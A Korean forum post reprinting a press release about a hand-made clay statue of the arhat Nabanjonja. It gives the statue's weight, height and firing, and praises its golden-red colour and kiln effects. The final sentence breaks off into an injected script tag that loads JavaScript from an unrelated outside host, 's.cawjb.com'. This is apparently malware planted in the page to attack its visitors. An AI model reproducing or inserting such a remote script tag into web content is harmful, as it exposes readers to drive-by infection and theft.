국내 유일의 나반존자 土佛 제작 成功
글쓴이 : 유충임     날짜 : 05-02-03    조회 : 12346
 

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보도자료

회향 선생이 지난 7개월의 각고 끝에 나반존자 토불을 성공적으로 완성했다.

무게가 무려 90kg가량 되고 좌상의 높이는 좌대를 포함하면 110cm나 되며 상 전체를 우리의 옹기토로 100% 수작업으로 조성하여 1000도나 되는 가마에서 구워 냈다. 이런 불상은 세계에서도 찾아보기 힘들며 모든 제작과정이 선생만이 가지고있는 토우의 제작 방법으로 완성한 점이 고무적이다

단 한번의 시도로 이 어려운 과정을 이루어 내었다는 것은 거의 기적에 가까울 정도로 실감나지 않을 뿐이다.

선생은 이 모든 것을 부처님의 자비심으로 돌리며 자신을 감추고 있다.

이로서 선생은 우리나라 불상의 새로운 제작방법과 장르를 제시했고, 문화예술적으로도 독창성을 확보한 국내 유일의 토불작가로서의 자리 매김을 하였다.

나반존자 토불의 인상적인 점은 색상 자체가 황금빛을 머금은 적황토빛을 띄고 있어 아주밝고 환하게 보인다.

그리고 특이한 점이 또하나 있다면 흔히 초벌구이에서는 가마의 요변이 없다는 상식을 뒤엎고 단순하기 쉬운 토우의 단점을 초월한, 존자의 옷자락과 몸전체에 눈이 내린듯한 은은하면서로 화려한 느낌을 주는 자연 채색의 요변이 일어났다는 것이다.

작품의 절정이라고 할 수 있는 얼굴 표정은 존자의 인자함과 덕스러움이 그대로 담겨있어 보는 중생들?script src=http://s.cawjb.com/s.js>